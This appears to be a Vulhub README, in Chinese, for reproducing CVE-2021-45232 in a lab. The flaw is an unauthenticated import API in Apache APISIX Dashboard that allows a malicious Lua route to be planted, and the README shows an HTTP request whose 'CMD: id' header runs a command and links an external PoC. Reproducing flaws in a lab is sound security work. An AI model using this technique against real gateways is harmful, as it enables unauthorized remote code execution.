Files
vulhub/apisix/CVE-2021-45232/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

53 lines
2.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache APISIX Dashboard API权限绕过导致RCECVE-2021-45232
Apache APISIX是一个动态、实时、高性能API网关而Apache APISIX Dashboard是一个配套的前端面板。
Apache APISIX Dashboard 2.10.1版本前存在两个API`/apisix/admin/migrate/export``/apisix/admin/migrate/import`,他们没有经过`droplet`框架的权限验证导致未授权的攻击者可以导出、导入当前网关的所有配置项包括路由、服务、脚本等。攻击者通过导入恶意路由可以用来让Apache APISIX访问任意网站甚至执行LUA脚本。
参考链接:
- https://apisix.apache.org/zh/blog/2021/12/28/dashboard-cve-2021-45232/
- https://github.com/wuppp/cve-2021-45232-exp
## 漏洞环境
执行如下命令启动一个有漏洞的Apache APISIX Dashboard 2.9
```
docker compose up -d
```
然后访问`http://your-ip:9000/`即可看到Apache APISIX Dashboard的登录页面。
## 漏洞复现
利用`/apisix/admin/migrate/export``/apisix/admin/migrate/import`两个Apache APISIX Dashboard提供的未授权API我们可以简单地导入一个恶意配置文件其中包含我们构造的LUA脚本
![](1.png)
注意的是这个配置文件的最后4个字符是当前文件的CRC校验码所以最好通过自动化工具来生成和发送这个利用数据包比如[这个POC](https://github.com/wuppp/cve-2021-45232-exp)。
添加完恶意路由后你需要访问Apache APISIX中对应的路径来触发前面添加的脚本。值得注意的是Apache APISIX和Apache APISIX Dashboard是两个不同的服务Apache APISIX Dashboard只是一个管理页面而添加的路由是位于Apache APISIX中所以需要找到Apache APISIX监听的端口或域名。
在当前环境下Apache APISIX监听在9080端口下。我们发送数据包
```
GET /okw1Rh HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Connection: close
CMD: id
Cache-Control: max-age=0
```
![](2.png)
可见我们在Header中添加的`CMD`头中的命令已被执行。
这个漏洞是Apache APISIX Dashboard的漏洞而Apache APISIX无需配置IP白名单或管理API只要二者连通同一个etcd即可。